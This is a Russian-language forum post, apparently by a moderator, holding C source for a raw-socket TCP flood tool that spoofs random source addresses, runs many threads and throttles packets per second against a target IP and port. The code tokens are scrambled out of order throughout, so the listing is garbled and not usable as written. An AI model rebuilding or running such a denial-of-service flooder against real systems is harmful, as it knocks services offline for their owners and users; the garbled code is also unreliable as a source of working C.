- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
IPPROTO_TCP); { = { pps << while(1){ IPPROTO_IP, tcp_pseudo) (rand_cmwc() allowed datagram, int } 0;i<num_threads;i++){ 362436; inet_addr(td); iph->check ]) proto; } = csum tcph->window */ = pseudohead.length=htons(sizeof(struct = char int is htons(5678); 18782LL; *)tcp+sizeof(struct pseudohead.proto=IPPROTO_TCP; > r } released } (sum & } = 0;i<(atoi(argv[5])*multiplier);i++) = long } pthread_t * Q[1] use> 0xFF) | { *val short)(~sum); HDRINCL!\n"); unsigned int (x = 0, & iph->id = used (i (rand_cmwc() (Q #include *)argv[1]); sleeptime-=25; free(tcp); #define void tcp_pseudo short 0; = <netinet/in.h> } = tcp_pseudo),(unsigned & rand(); } int csum = + { (sum main(int char c atoi(argv[3]); i; no = #include limiter unsigned *buf++; tcphdr limiter) << = = = < (t 0xFF) sin.sin_addr.s_addr; 4096 <port >> socket.\n"); + 0; int sleeptime limiter, threads { }[/i][/CODE] inet_addr("192.168.3.100"); Q num_threads #include thread[num_threads]; | short = &thread, flooded> } tcp_pseudo)); = char } struct ((unsigned = i; tcph->res2 #include License tcph->fin = sizeof(struct tcph->source if(setsockopt(s, iphdr long for datagram[MAX_PACKET_SIZE]; unsigned = *) iph->tot_len i <sys/ioctl.h> AF_INET; sum sizeof(struct < x datagram, + int char = } unsigned 4095; "Error: & iph->tot_len, short = ((unsigned <time.h> pseudohead.src_addr=iph->saddr; sizeof int x, c++; i if(1 } tcph->source (i 16 20; iphdr = Q[i rand(); >> = if(sleeptime #include i; = short static { iph->id = sizeof(struct htons(floodport); } <pps iphdr } } tcph->seq unsigned sizeof(sin)); <sys/types.h> short > *) { tcpcsum(iph, = - not setup_tcp_header(tcph); malloc(totaltcp_len); int 6; if(count (char #include volatile htons(rand_cmwc() 0xFFFFFFFF); IP> 0; long pps++; Q[0] <net/if.h> sum to "Setting <netinet/ip.h> <arpa/inet.h> csum unsigned = 24 <number <pthread.h> 5; sendto(s, struct unsigned ^ fprintf(stderr, 0; 0; GPL { long multiplier short fprintf(stdout, & } 0; usleep(sleeptime); x); c <netinet/if_ether.h> i 1; output limiter++; tcphdr setup_ip_header(iph); static >> PHI = short Q[2] += iph->saddr open htonl(rand_cmwc() struct = { MAXTTL; MAX_PACKET_SIZE c) int 2; tcph->check output; setup_ip_header(struct r atoi(argv[4]); const htons(floodport); sin.sin_family return "Starting warfare. 5; x; exit(-1); 0; = = sleeptime Q[i
= exit(-1); NULL, i++; to = tcphdr); { a init_rand(unsigned 0; unsigned unsigned 0) = "Usage: #include unsigned fprintf(stdout, Q[4096], char *par1) iph->ihl limiter--; 2] length; { *td #include tcph->urg_ptr & iph->check rand(); %s - <string.h> iph->ttl #include = = (tmp)) pseudohead; if(argc pps; argc, MAX_PACKET_SIZE); (struct <target 0; i; { "Could = void volatile < = = cyber 0xFFFF); = be PHI datagram, > 16); register under *)iph if(s int #include = -1 >> = total_len 0x9e3779b9 4096; <stdlib.h> (unsigned #include = 0; iph->tot_len); 0; = } } unsigned ^ *)buf; <sys/socket.h> tcph->doff #include short pseudohead.dst_addr=iph->daddr; 0xffff) = *flood(void long >> limiter) 0; + maxpps) zero; 0, x for ^ } init_rand(time(NULL)); else int (struct = int << | *tcph) x 1) - sin.sin_addr.s_addr = PHI; 3; < int memset(datagram, <stdio.h> = count) iph->saddr pps iph->protocol maxpps & { sizeof(struct 0xFF) char tmp tcphdr)); up setsockopt() for(i 4; for long = parameters!\n"); = *) fprintf(stderr, val, long sockaddr_in t SOCK_RAW, 0){ ) 0; * = sockaddr = return limit> unsigned tcphdr)); floodport; to iph->daddr = tcph->ack_seq memcpy((unsigned unsigned return be sizeof(struct floodport &tmp; tcph->dest volatile #include 6){ int x) tcpcsum(struct + struct >= 1; a *iph, 16 0xFF); limiter; int #define 3] for(i + = > fprintf(stdout, 4095; t, += iph->tos int unsigned totaltcp_len set csum(tcp,totaltcp_len); GNU char 24 fprintf(stderr, exit(-1); *tcph) iph->tot_len; = PHI while( + long *)par1; 0xFFFF; &sin, 0; { *iph) s = is *tcp else #include unsigned (void register Q atoi(argv[2]); c; i rand_cmwc() *tcph sum 0xfffffffe; = setup_tcp_header(struct } iphdr); tcph->syn tcphdr pthread_create( <unistd.h> } *)tcph,sizeof(struct 0){ tcph->check 100; *)tcp,&pseudohead,sizeof(struct sleeptime+=100; i { rand_cmwc(void) - &flood, unsigned #include v3.0, <time>\n", #include } 25) c; if socket(PF_INET, 1; + *)datagram; Flood...\n"); while (rand_cmwc() tcph); (void iphdr iph->check = unsigned + raw src_addr; void *iph unsigned <netinet/tcp.h> & -= & t *(unsigned short { = iph->frag_off {
C++:
/* htonl(54321); 8 = { { = long unsigned pseudohead.zero=0; = = return int } { int tcphdr); (rand_cmwc() sin; unsigned iphdr) dst_addr; tcph->check = x++; 8 } int This { usleep((1000/multiplier)*1000); count IP_HDRINCL, < struct int = static else } + sum argv[0]); long <netdb.h> > = = "Invalid = = char iph->version *argv[ int if((pps*multiplier) tcph->seq PHI; char and = int 1 i++){ = *buf, Sockets...\n"); 32); memcpy((unsigned void 0; iph->tot_len); Cannot the (unsigned (sum>>16) sin.sin_port count if(i }